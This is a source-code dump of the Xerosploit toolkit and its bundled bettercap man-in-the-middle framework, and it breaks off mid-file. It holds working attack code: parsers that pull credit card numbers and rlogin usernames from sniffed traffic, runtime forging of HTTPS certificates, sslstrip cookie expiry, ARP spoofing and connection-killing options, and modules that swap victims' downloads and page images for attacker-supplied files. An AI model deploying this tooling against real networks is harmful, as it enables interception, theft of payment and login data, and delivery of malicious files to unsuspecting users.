-------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/servers/httpd.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Network 16 | module Servers 17 | 18 | # Simple HTTP server class used to serve static assets when needed. 19 | class HTTPD 20 | # Initialize the HTTP server with the specified tcp +port+ using 21 | # +path+ as the document root. 22 | def initialize( port = 8081, path = './' ) 23 | @port = port 24 | @path = path 25 | @server = WEBrick::HTTPServer.new( 26 | Port: @port, 27 | DocumentRoot: @path, 28 | Logger: WEBrick::Log.new("/dev/null"), 29 | AccessLog: [] 30 | ) 31 | rescue Errno::EADDRINUSE 32 | raise BetterCap::Error, "[HTTPD] It looks like there's another process listening on port #{@port}, "\ 33 | "please chose a different port." 34 | end 35 | 36 | # Start the server. 37 | def start 38 | Logger.info "[#{'HTTPD'.green}] Starting on port #{@port} and path #{@path} ..." 39 | @thread = Thread.new { 40 | @server.start 41 | } 42 | end 43 | 44 | # Stop the server. 45 | def stop 46 | Logger.info 'Stopping HTTPD ...' 47 | 48 | @server.stop 49 | @thread.join 50 | end 51 | end 52 | 53 | end 54 | end 55 | end 56 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/memory.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | # This class is responsible for garbage collection and memory stats printing. 16 | class Memory 17 | def initialize 18 | GC.enable 19 | s = GC.stat 20 | @total_allocs = s[:total_allocated_objects] 21 | @total_freed = s[:total_freed_objects] 22 | end 23 | 24 | def optimize! 25 | GC.start 26 | begin 27 | s = GC.stat 28 | new_allocs = s[:total_allocated_objects] 29 | new_freed = s[:total_freed_objects] 30 | allocs_d = nil 31 | freed_d = nil 32 | 33 | if new_allocs < @total_allocs 34 | allocs_d = new_allocs.to_s.green 35 | elsif new_allocs > @total_allocs 36 | allocs_d = new_allocs.to_s.red 37 | else 38 | allocs_d = new_allocs 39 | end 40 | 41 | if new_freed < @total_freed 42 | freed_d = new_freed.to_s.red 43 | elsif new_freed > @total_freed 44 | freed_d = new_freed.to_s.green 45 | else 46 | freed_d = new_freed 47 | end 48 | 49 | # Logger.debug "GC: allocd objects: #{allocs_d} freed objects: #{freed_d}" 50 | 51 | @total_allocs = new_allocs 52 | @total_freed = new_freed 53 | rescue; end 54 | end 55 | end 56 | end 57 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/monkey/packetfu/pcap.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module PacketFu 14 | 15 | class PcapHeader 16 | # Reads a string to populate the object. 17 | # Conversion from big to little shouldn't be that big of a deal. 18 | def read(str) 19 | force_binary(str) 20 | return self if str.nil? 21 | str.force_encoding(Encoding::BINARY) if str.respond_to? :force_encoding 22 | 23 | # Handle little endian pcap 24 | if str[0,4] == self[:magic].to_s 25 | self[:magic].read str[0,4] 26 | self[:ver_major].read str[4,2] 27 | self[:ver_minor].read str[6,2] 28 | self[:thiszone].read str[8,4] 29 | self[:sigfigs].read str[12,4] 30 | self[:snaplen].read str[16,4] 31 | self[:network].read str[20,4] 32 | # Handle big endian pcap 33 | elsif str[0,4] == MAGIC_BIG.to_s 34 | # Since PcapFile.read uses our endianess, set it to 'big' anyway. 35 | self[:endian] = :big 36 | 37 | self[:magic].read str[0,4].reverse 38 | self[:ver_major].read str[4,2].reverse 39 | self[:ver_minor].read str[6,2].reverse 40 | self[:thiszone].read str[8,4].reverse 41 | self[:sigfigs].read str[12,4].reverse 42 | self[:snaplen].read str[16,4].reverse 43 | self[:network].read str[20,4].reverse 44 | else 45 | raise "Incorrect magic for libpcap" 46 | end 47 | self 48 | end 49 | end 50 | 51 | end 52 | -------------------------------------------------------------------------------- /tools/bettercap/docs/proxying/tcp.md: -------------------------------------------------------------------------------- 1 | TCP 2 | ============ 3 | 4 | If you want to actively modify packets of a TCP protocol which is not HTTP or HTTPS, you'll need the TCP proxy. This event-based proxy will allow you to intercept anything sent/received to/from a specific host using your own custom module. 5 | 6 | ## Sample Module 7 | 8 | The following example module won't do anything but dumping the data being transmitted from/to the target, you can access the [event](http://www.rubydoc.info/gems/bettercap/1.5.0/BetterCap/Proxy/TCP/Event) object in order to modify the data on the fly. 9 | 10 | <script src="https://gist.github.com/evilsocket/36da77e34766dc600218.js"></script> 11 | 12 | If you want to load such module and dump all the ( let's say ) MySQL traffic from/to the `mysql.example.com` host you would do: 13 | 14 | sudo bettercap --tcp-proxy-module example.rb --tcp-proxy-upstream mysql.example.com:3306 15 | 16 | And you would be ready to go. 17 | 18 | <hr/> 19 | 20 | ## Options 21 | 22 | ### `--tcp-proxy` 23 | 24 | Enable the TCP proxy ( requires other `--tcp-proxy-*` options to be specified ). 25 | 26 | ### `--tcp-proxy-module MODULE` 27 | 28 | Ruby TCP proxy module to load. 29 | 30 | ### `--tcp-proxy-port PORT` 31 | 32 | Set local TCP proxy port, default to `2222`. 33 | 34 | ### `--tcp-proxy-upstream-address ADDRESS` 35 | 36 | Set TCP proxy upstream server address. 37 | 38 | ### `--tcp-proxy-upstream-port PORT` 39 | 40 | Set TCP proxy upstream server port. 41 | 42 | ### `--tcp-proxy-upstream ADDRESS:PORT` 43 | 44 | Set TCP proxy upstream server address and port ( shortcut for `--tcp-proxy-upstream-address ADDRESS` and `--tcp-proxy-upstream-port PORT` ). 45 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/creditcard.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Parsers 15 | # CC parser. 16 | class CreditCard < Base 17 | PARSERS = [ 18 | # All major cards. 19 | /(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/m, 20 | # American Express 21 | /(3[47][0-9]{13})/m, 22 | # Diners Club 23 | /(3(?:0[0-5]|[68][0-9])[0-9]{11})/m, 24 | # Discover 25 | /(6011[0-9]{12})/m, 26 | # MasterCard 27 | /(5[1-5][0-9]{14})/m, 28 | # Visa 29 | /(4[0-9]{12}(?:[0-9]{3})?)/m 30 | ].freeze 31 | 32 | def on_packet( pkt ) 33 | begin 34 | payload = pkt.to_s 35 | PARSERS.each do |expr| 36 | matches = payload.scan( expr ) 37 | matches.each do |m| 38 | StreamLogger.log_raw( pkt, 'CREDITCARD', m ) if luhn?(m) 39 | end 40 | break unless matches.empty? 41 | end 42 | rescue; end 43 | end 44 | 45 | # Validate +cc+ with Lughn algorithm. 46 | def luhn?(cc) 47 | digits = cc.split(//).map(&:to_i) 48 | last = digits.pop 49 | 50 | products = digits.reverse.map.with_index do |n,i| 51 | i.even? ? n*2 : n*1 52 | end.reverse 53 | sum = products.inject(0) { |t,p| t + p.to_s.split(//).map(&:to_i).inject(:+) } 54 | checksum = 10 - (sum % 10) 55 | checksum == 10 ? 0 : checksum 56 | 57 | ( last == checksum ) 58 | end 59 | 60 | end 61 | end 62 | end 63 | -------------------------------------------------------------------------------- /tools/bettercap/modules/replace_images.rb: -------------------------------------------------------------------------------- 1 | 2 | =begin 3 | BETTERCAP 4 | Author : Simone 'evilsocket' Margaritelli 5 | Email : evilsocket@gmail.com 6 | Blog : http://www.evilsocket.net/ 7 | This project is released under the GPL 3 license. 8 | =end 9 | 10 | # This module requires the --httpd argument being passed 11 | # to bettercap and the --httpd-path pointing to a folder 12 | # which contains a "hack.png" image. 13 | class ReplaceImages < BetterCap::Proxy::HTTP::Module 14 | meta( 15 | 'Name' => 'ReplaceImages', 16 | 'Description' => 'Replace all images on web pages.', 17 | 'Version' => '1.0.0', 18 | 'Author' => "Simone 'evilsocket' Margaritelli", 19 | 'License' => 'GPL3' 20 | ) 21 | 22 | def initialize 23 | opts = BetterCap::Context.get.options.servers 24 | # make sure the server is running 25 | raise BetterCap::Error, "The ReplaceImages proxy module needs the HTTPD ( --httpd argument ) running." unless opts.httpd 26 | # make sure the file we need actually exists 27 | raise BetterCap::Error, "No ximage.png file found in the HTTPD path ( --httpd-path argument ) '#{opts.httpd_path}'" \ 28 | unless File.exist? "#{opts.httpd_path}/ximage.png" 29 | 30 | @image_url = "\"http://#{BetterCap::Context.get.iface.ip}:#{opts.httpd_port}/ximage.png\"" 31 | end 32 | 33 | def on_request( request, response ) 34 | # is it a html page? 35 | if response.content_type =~ /^text\/html.*/ 36 | BetterCap::Logger.info "Replacing http://#{request.host}#{request.path} images." 37 | 38 | response.body.gsub! %r/["'][https:\/\/]*[^\s]+\.(png|jpg|jpeg|bmp|gif|webp|svg)["']/i, @image_url 39 | end 40 | end 41 | end 42 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/rlogin.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Parsers 15 | # BSD rlogin authentication parser. 16 | class Rlogin < Base 17 | def initialize 18 | @name = 'RLOGIN' 19 | end 20 | def on_packet( pkt ) 21 | begin 22 | if pkt.tcp_dst == 513 23 | # rlogin packet data = 0x00[client-username]0x00<server-username>0x00<terminal/speed>0x00 24 | 25 | # if client username, server username and terminal/speed were supplied... 26 | # regex starts at client username as the first null byte is stripped from pkt.payload.to_s 27 | if pkt.payload.to_s =~ /\A([a-z0-9_-]+)\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i 28 | client_user = $1 29 | server_user = $2 30 | terminal = $3 31 | StreamLogger.log_raw( pkt, @name, "client-username=#{client_user} server-username=#{server_user} terminal=#{terminal}" ) 32 | # else, if only server username and terminal/speed were supplied... 33 | # regex starts at 0x00 as the first null byte is stripped from pkt.payload.to_s and the client username is empty 34 | elsif pkt.payload.to_s =~ /\A\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i 35 | server_user = $1 36 | terminal = $2 37 | StreamLogger.log_raw( pkt, @name, "server-username=#{server_user} terminal=#{terminal}" ) 38 | end 39 | end 40 | rescue 41 | end 42 | end 43 | end 44 | end 45 | end 46 | -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | #---------------------------------------------------------------------------# 4 | # This file is part of Xerosploit. # 5 | # Xerosploit is free software: you can redistribute it and/or modify # 6 | # it under the terms of the GNU General Public License as published by # 7 | # the Free Software Foundation, either version 3 of the License, or # 8 | # (at your option) any later version. # 9 | # # 10 | # Xerosploit is distributed in the hope that it will be useful, # 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of # 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # 13 | # GNU General Public License for more details. # 14 | # # 15 | # You should have received a copy of the GNU General Public License # 16 | # along with Xerosploit. If not, see <http://www.gnu.org/licenses/>. # 17 | # # 18 | #---------------------------------------------------------------------------# 19 | # # 20 | # Copyright © 2016 LionSec (www.lionsec.net) # 21 | # # 22 | #---------------------------------------------------------------------------# 23 | 24 | python /opt/xerosploit/xerosploit.py 25 | 26 | 27 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/update_checker.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | # This class is responsible for fetching the latest version of 16 | # bettercap and check if a new one is available. 17 | class UpdateChecker 18 | # Check if a new version is available, printing the results 19 | # in human readable form. 20 | def self.check 21 | ver = self.get_latest_version 22 | if self.vton( BetterCap::VERSION ) < self.vton( ver ) 23 | Logger.warn "New version '#{ver}' available!" 24 | else 25 | Logger.info 'You are running the latest version.' 26 | end 27 | rescue Exception => e 28 | Logger.error("Error '#{e.class}' while checking for updates: #{e.message}") 29 | end 30 | 31 | # Convert a version string +v+ to a number to be used for comparation. 32 | def self.vton v 33 | vi = 0.0 34 | v.split('.').reverse.each_with_index do |e,i| 35 | vi += ( e.to_i * 10**i ) - ( e =~ /[\d+]b/ ? 0.5 : 0 ) 36 | end 37 | vi 38 | end 39 | 40 | # Fetch the latest program version from rubygems.org API. 41 | def self.get_latest_version 42 | Logger.info 'Checking for updates ...' 43 | 44 | api = URI('https://rubygems.org/api/v1/versions/bettercap/latest.json') 45 | response = Net::HTTP.get_response(api) 46 | 47 | case response 48 | when Net::HTTPSuccess 49 | json = JSON.parse(response.body) 50 | else 51 | raise response.message 52 | end 53 | 54 | return json['version'] 55 | end 56 | end 57 | end 58 | -------------------------------------------------------------------------------- /tools/bettercap/modules/replace_file.rb: -------------------------------------------------------------------------------- 1 | 2 | =begin 3 | BETTERCAP 4 | Author : Simone 'evilsocket' Margaritelli 5 | Email : evilsocket@gmail.com 6 | Blog : http://www.evilsocket.net/ 7 | This project is released under the GPL 3 license. 8 | =end 9 | 10 | class ReplaceFile < BetterCap::Proxy::HTTP::Module 11 | meta( 12 | 'Name' => 'ReplaceFile', 13 | 'Description' => 'Replace files being downloaded with a custom one.', 14 | 'Version' => '1.0.0', 15 | 'Author' => "Simone 'evilsocket' Margaritelli", 16 | 'License' => 'GPL3' 17 | ) 18 | 19 | @@extension = nil 20 | @@filename = nil 21 | @@payload = nil 22 | 23 | def self.on_options(opts) 24 | opts.on( '--file-extension EXT', 'Extension of the files to replace.' ) do |v| 25 | @@extension = v 26 | end 27 | 28 | opts.on( '--file-replace FILENAME', 'File to use in order to replace the ones matching the extension.' ) do |v| 29 | @@filename = File.expand_path v 30 | unless File.exists?(@@filename) 31 | raise BetterCap::Error, "#{@@filename} file does not exist." 32 | end 33 | @@payload = File.read(@@filename) 34 | end 35 | end 36 | 37 | def initialize 38 | raise BetterCap::Error, "No --file-extension option specified for the proxy module." if @@extension.nil? 39 | raise BetterCap::Error, "No --file-replace option specified for the proxy module." if @@filename.nil? 40 | end 41 | 42 | def on_request( request, response ) 43 | if request.path.include?(".#{@@extension}") 44 | BetterCap::Logger.info "Replacing http://#{request.host}#{request.path} with #{@@filename}." 45 | 46 | response['Content-Length'] = @@payload.bytesize 47 | response.body = @@payload 48 | end 49 | end 50 | end 51 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: UTF-8 3 | 4 | =begin 5 | 6 | BETTERCAP 7 | 8 | Author : Simone 'evilsocket' Margaritelli 9 | Email : evilsocket@gmail.com 10 | Blog : http://www.evilsocket.net/ 11 | 12 | This project is released under the GPL 3 license. 13 | 14 | =end 15 | 16 | # they hate us 'cause they ain't us 17 | Encoding.default_external = Encoding::UTF_8 18 | Encoding.default_internal = Encoding::UTF_8 19 | 20 | require 'base64' 21 | require 'colorize' 22 | require 'digest' 23 | require 'ipaddr' 24 | require 'json' 25 | require 'net/dns' 26 | require 'net/http' 27 | require 'openssl' 28 | require 'optparse' 29 | require 'packetfu' 30 | require 'pcaprub' 31 | require 'resolv' 32 | require 'rubydns' 33 | require 'socket' 34 | require 'stringio' 35 | require 'thread' 36 | require 'uri' 37 | require 'webrick' 38 | require 'zlib' 39 | require 'em-proxy' 40 | 41 | Object.send :remove_const, :Config rescue nil 42 | Config = RbConfig 43 | 44 | def bettercap_autoload( path = '' ) 45 | dir = File.dirname(__FILE__) + "/bettercap/#{path}" 46 | deps = [] 47 | files = [] 48 | monkey = [] 49 | 50 | Dir[dir+"**/*.rb"].each do |filename| 51 | filename = filename.gsub( dir, '' ).gsub('.rb', '') 52 | filename = "bettercap/#{path}#{filename}" 53 | # Proxy modules must be loaded at runtime. 54 | unless filename =~ /.+\/inject[a-z]+$/i 55 | if filename.end_with?('/base') or filename.include?('pluggable') 56 | deps << filename 57 | elsif filename.include?('monkey') 58 | monkey << filename 59 | else 60 | files << filename 61 | end 62 | end 63 | end 64 | 65 | ( deps + files + monkey ).each do |file| 66 | require file 67 | end 68 | end 69 | 70 | bettercap_autoload 71 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/sslstrip/cookiemonitor.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Proxy 16 | module HTTP 17 | module SSLStrip 18 | 19 | # Class to handle a cookies for sslstrip. 20 | class CookieMonitor 21 | # Create an instance of this object. 22 | def initialize 23 | @set = [] 24 | end 25 | 26 | def add!(request) 27 | @set << [request.client, get_domain(request)] 28 | end 29 | 30 | # Return true if the +request+ was already cleaned. 31 | def is_clean?(request) 32 | if request.post? 33 | return true 34 | elsif request['Cookie'].empty? 35 | return true 36 | else 37 | return @set.include?( [request.client, get_domain(request)] ) 38 | end 39 | end 40 | 41 | # Build cookie expiration headers for the +request+ and add its domain 42 | # to our list. 43 | def get_expired_headers!(request) 44 | domain = get_domain(request) 45 | @set << [request.client, domain] 46 | 47 | expired = [] 48 | request['Cookie'].split(';').each do |cookie| 49 | cname = cookie.split("=")[0].strip 50 | expired << "#{cname}=EXPIRED; path=/; domain=#{domain}; Expires=Mon, 01-Jan-1990 00:00:00 GMT" 51 | expired << "#{cname}=EXPIRED; path=/; domain=#{request.host}; Expires=Mon, 01-Jan-1990 00:00:00 GMT" 52 | end 53 | 54 | expired 55 | end 56 | 57 | # Return the cookie domain given the +request+ object. 58 | def get_domain(request) 59 | parts = request.host.split('.') 60 | ".#{parts[-2]}.#{parts[-1]}" 61 | end 62 | end 63 | 64 | end 65 | end 66 | end 67 | end 68 | -------------------------------------------------------------------------------- /tools/bettercap/bin/xettercap: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: UTF-8 3 | 4 | =begin 5 | 6 | BETTERCAP 7 | 8 | Author : Simone 'evilsocket' Margaritelli 9 | Email : evilsocket@gmail.com 10 | Blog : http://www.evilsocket.net/ 11 | 12 | This project is released under the GPL 3 license. 13 | 14 | =end 15 | 16 | require 'bettercap' 17 | begin 18 | 19 | # We need this in order to report unhandled exceptions. 20 | 21 | 22 | # Create global context, parse command line arguments and perform basic 23 | # error checking. 24 | ctx = BetterCap::Options.parse! 25 | 26 | ctx.start! 27 | 28 | loop do 29 | sleep 10 30 | end 31 | 32 | rescue SystemExit, Interrupt, SignalException 33 | BetterCap::Logger.raw "\n" 34 | 35 | rescue OptionParser::InvalidOption, 36 | OptionParser::AmbiguousOption, 37 | OptionParser::MissingArgument => e 38 | BetterCap::Logger.error "'#{e.message.capitalize}', verify your command line arguments executing 'bettercap --help'." 39 | 40 | rescue BetterCap::Error => e 41 | BetterCap::Logger.error e.message 42 | 43 | rescue Exception => e 44 | puts "\n\n" 45 | BetterCap::Logger.error "Oooops, seems like something weird occurred, please copy paste the following output " \ 46 | "and open a new issue on https://github.com/evilsocket/bettercap/issues :\n" 47 | 48 | BetterCap::Logger.error "Platform : #{RUBY_PLATFORM}" 49 | BetterCap::Logger.error "Ruby Version : #{RUBY_VERSION}" 50 | BetterCap::Logger.error "BetterCap Version : #{BetterCap::VERSION}" 51 | BetterCap::Logger.error "Command Line : #{original_argv.join(" ")}" 52 | BetterCap::Logger.error "Exception : #{e.class}" 53 | BetterCap::Logger.error "Message : #{e.message}" 54 | BetterCap::Logger.error "Backtrace :\n\n #{e.backtrace.join("\n ")}\n" 55 | 56 | ensure 57 | # Make sure all the messages on the logger queue are printed. 58 | BetterCap::Logger.wait! 59 | 60 | ctx.finalize unless ctx.nil? 61 | end 62 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/ssl/server.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Proxy 16 | module HTTP 17 | module SSL 18 | 19 | # Little utility class to handle SSLServer creation. 20 | class Server 21 | # The SSL certification authority. 22 | attr_reader :authority 23 | # Main SSLContext instance. 24 | attr_reader :context 25 | # Socket I/O object. 26 | attr_reader :io 27 | 28 | # Create an instance from the TCPSocket +socket+. 29 | def initialize( socket ) 30 | @authority = Authority.new( Context.get.options.proxies.proxy_pem_file ) 31 | @context = OpenSSL::SSL::SSLContext.new 32 | @context.cert = @authority.certificate 33 | @context.key = @authority.key 34 | 35 | # If the client supports SNI ( https://en.wikipedia.org/wiki/Server_Name_Indication ) 36 | # we'll receive the hostname it wants to connect to in this callback. 37 | # Use the CA we already have loaded ( or generated ) to sign a new 38 | # certificate at runtime with the correct 'Common Name' and create a new SSL 39 | # context with it, these are the steps: 40 | # 41 | # 1. Get hostname from SNI. 42 | # 2. Fetch upstream certificate from the real server. 43 | # 3. Resign it with our own CA. 44 | # 4. Create a new context with the new spoofed certificate. 45 | # 5. Profit ^_^ 46 | @context.servername_cb = proc { |sslsocket, hostname| 47 | Logger.debug "[#{'SSL'.green}] Server-Name-Indication for '#{hostname}'" 48 | 49 | ctx = OpenSSL::SSL::SSLContext.new 50 | ctx.cert = @authority.spoof( hostname ) 51 | ctx.key = @authority.key 52 | 53 | ctx 54 | } 55 | 56 | @io = OpenSSL::SSL::SSLServer.new( socket, @context ) 57 | end 58 | end 59 | 60 | end 61 | end 62 | end 63 | end 64 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/shell.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | # Class responsible of executing various shell commands. 16 | module Shell 17 | class << self 18 | # Execute +command+ and return its output. 19 | # Raise +BetterCap::Error+ if the return code is not 0. 20 | def execute(command) 21 | r = '' 22 | 10.times do 23 | begin 24 | r=%x(#{command}) 25 | if $? != 0 26 | raise BetterCap::Error, "Error, executing #{command}" 27 | end 28 | break 29 | rescue Errno::EMFILE => e 30 | Logger.debug "Retrying command '#{command}' due to Errno::EMFILE error ..." 31 | sleep 1 32 | end 33 | end 34 | r 35 | end 36 | 37 | # Cross-platform way of finding an executable in the $PATH. 38 | def which(cmd) 39 | exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : [''] 40 | ENV['PATH'].split(File::PATH_SEPARATOR).each do |path| 41 | exts.each { |ext| 42 | exe = File.join(path, "#{cmd}#{ext}") 43 | return exe if File.executable?(exe) && !File.directory?(exe) 44 | } 45 | end 46 | return nil 47 | end 48 | 49 | # Cross-platform way of finding an executable in the $PATH. 50 | def available?(cmd) 51 | !which(cmd).nil? 52 | end 53 | 54 | # Get the +iface+ network interface configuration ( using ifconfig ). 55 | def ifconfig(iface = '') 56 | self.execute( "LANG=en && ifconfig #{iface}" ) 57 | end 58 | 59 | # Get the +iface+ network interface configuration ( using iproute2 ). 60 | def ip(iface = '') 61 | self.execute( "LANG=en && ip addr show #{iface}" ) 62 | end 63 | 64 | # Get the ARP table cached on this computer. 65 | def arp 66 | self.execute( 'LANG=en && arp -a -n' ) 67 | end 68 | end 69 | end 70 | end 71 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/options/spoof_options.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | 16 | class SpoofOptions 17 | # Name of the spoofer to use. 18 | attr_accessor :spoofer 19 | # If true half duplex mode is enabled. 20 | attr_accessor :half_duplex 21 | # If true, bettercap won't forward packets for any target, causing 22 | # connections to be killed. 23 | attr_accessor :kill 24 | 25 | def initialize 26 | @spoofer = 'ARP' 27 | @half_duplex = false 28 | @kill = false 29 | end 30 | 31 | def parse!( ctx, opts ) 32 | opts.separator "" 33 | opts.separator "SPOOFING:".bold 34 | opts.separator "" 35 | 36 | opts.on( '-S', '--spoofer NAME', "Spoofer module to use, available: #{Spoofers::Base.available.map{|x| x.yellow }.join(', ')} - default: #{@spoofer.yellow}." ) do |v| 37 | @spoofer = v 38 | end 39 | 40 | opts.on( '--no-spoofing', "Disable spoofing, alias for #{'--spoofer NONE'.yellow}." ) do 41 | @spoofer = 'NONE' 42 | end 43 | 44 | opts.on( '--half-duplex', 'Enable half-duplex MITM, this will make bettercap work in those cases when the router is not vulnerable.' ) do 45 | @half_duplex = true 46 | end 47 | 48 | opts.on( '--kill', 'Instead of forwarding packets, this switch will make targets connections to be killed.' ) do 49 | @kill = true 50 | end 51 | end 52 | 53 | # Return true if a spoofer module was specified, otherwise false. 54 | def enabled? 55 | @spoofer.upcase != 'NONE' 56 | end 57 | 58 | 59 | # Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a 60 | # BetterCap::Error if an invalid spoofer name was specified. 61 | def parse_spoofers 62 | valid = [] 63 | @spoofer.split(",").each do |module_name| 64 | valid << Spoofers::Base.get_by_name( module_name ) 65 | end 66 | valid 67 | end 68 | 69 | end 70 | 71 | end 72 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/tcp/module.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Proxy 16 | module TCP 17 | 18 | # Base class for transparent TCP proxy modules, example: 19 | # 20 | # class SampleModule < BetterCap::Proxy::TCP::Module 21 | # def on_data( event ) 22 | # event.data = 'aaa' 23 | # end 24 | # 25 | # def on_response( event ) 26 | # event.data = 'bbb' 27 | # end 28 | # end 29 | class Module < BetterCap::Pluggable 30 | # This callback is called when the target is sending data to the upstream server. 31 | # +event+ is an instance of the BetterCap::Proxy::TCP::Event class. 32 | def on_data( event ); end 33 | # This callback is called when the upstream server is sending data to the target. 34 | # +event+ is an instance of the BetterCap::Proxy::TCP::Event class. 35 | def on_response( event ); end 36 | # This callback is called when the connection is terminated. 37 | # +event+ is an instance of the BetterCap::Proxy::TCP::Event class. 38 | def on_finish( event ); end 39 | 40 | # Loaded modules. 41 | @@loaded = {} 42 | 43 | class << self 44 | # Called when a class inherits this base class. 45 | def inherited(subclass) 46 | name = subclass.name.upcase 47 | @@loaded[name] = subclass 48 | end 49 | 50 | # Load +file+ as a proxy module. 51 | def load( file ) 52 | begin 53 | require file 54 | rescue LoadError => e 55 | raise BetterCap::Error, "Invalid TCP proxy module specified: #{e.message}" 56 | end 57 | 58 | @@loaded.each do |name,mod| 59 | @@loaded[name] = mod.new 60 | end 61 | end 62 | 63 | # Execute method +even_name+ for each loaded module instance using +event+ 64 | # as its argument. 65 | def dispatch( event_name, event ) 66 | @@loaded.each do |name,mod| 67 | mod.send( event_name, event ) 68 | end 69 | end 70 | end 71 | end 72 | 73 | end 74 | end 75 | end 76 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/discovery/agents/base.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # Base class for discovery agents. 15 | module BetterCap 16 | module Discovery 17 | module Agents 18 | # Base class for BetterCap::Discovery::Agents. 19 | class Base 20 | # Initialize the agent using the +ctx+ BetterCap::Context instance. 21 | # If +address+ is not nil only that ip will be probed. 22 | def initialize( ctx, address = nil ) 23 | @ctx = ctx 24 | @address = address 25 | 26 | if @address.nil? 27 | net = ip = @ctx.iface.network 28 | # loop each ip in our subnet and push it to the queue 29 | while net.include?ip 30 | unless skip_address?(ip) 31 | @ctx.packets.push( get_probe(ip) ) 32 | end 33 | ip = ip.succ 34 | end 35 | else 36 | if skip_address?(@address) 37 | Logger.debug "Skipping #{@address} ..." 38 | else 39 | 